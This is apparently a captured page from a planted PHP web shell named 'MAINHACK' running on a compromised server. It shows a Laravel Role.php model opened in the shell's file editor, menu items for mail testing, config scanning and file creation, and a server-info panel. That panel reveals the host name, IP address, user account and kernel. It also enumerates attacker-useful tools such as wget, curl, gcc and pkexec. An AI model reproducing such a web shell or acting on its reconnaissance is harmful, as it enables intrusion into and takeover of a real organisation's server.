[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Role.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Exception; class Role extends Model { /** * @primaryKey string - primry key column. * @dateFormat string - date storage format * @guarded string - allow mass assignment except specified * @CREATED_AT string - creation date column * @UPDATED_AT string - updated date column */ protected $primaryKey = 'role_id'; protected $dateFormat = 'Y-m-d H:i:s'; protected $guarded = ['role_id']; const CREATED_AT = 'role_created'; const UPDATED_AT = 'role_updated'; /** * get all team level roles * @return string */ public function getTeamRoles() { return strtolower($this->role->role_name); } /** * relatioship business rules: * - the Project can have many Estimates * - the Estimate belongs to one Project */ public function users() { return $this->hasMany('App\Models\User', 'role_id', 'role_id'); } /** * Get the current user's permissions for any module that is stored in the 'modules' field in the 'roles' table. * Usage: auth()->user()->role->module->services (none/view/manage) * This has error handling so that non-existent modules will not throw an error but just return 'none'. * Example: auth()->user()->role->module->foobar (returns 'none') */ protected function getModuleAttribute() { //return none for user not logged in if (!auth()->check()) { return 'none'; } try { // Decode the JSON or return an empty array if null $modules = json_decode($this->attributes['modules'] ?? '[]', true); // Transform module permissions into a key-value array $permissions = []; foreach ($modules as $module) { $key = str_replace(' ', '_', strtolower($module['module_name'])); $permissions[$key] = strtolower($module['module_permission']); } // Return an anonymous class with dynamic property handling return new class($permissions) { protected $permissions; public function __construct(array $permissions) { $this->permissions = $permissions; } public function __get($key) { // Return the permission if it exists, otherwise return 'none' return $this->permissions[$key] ?? 'none'; } }; } catch (Exception $e) { // Return an empty anonymous class if there's any error return new class { public function __get($key) { return 'none'; } }; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002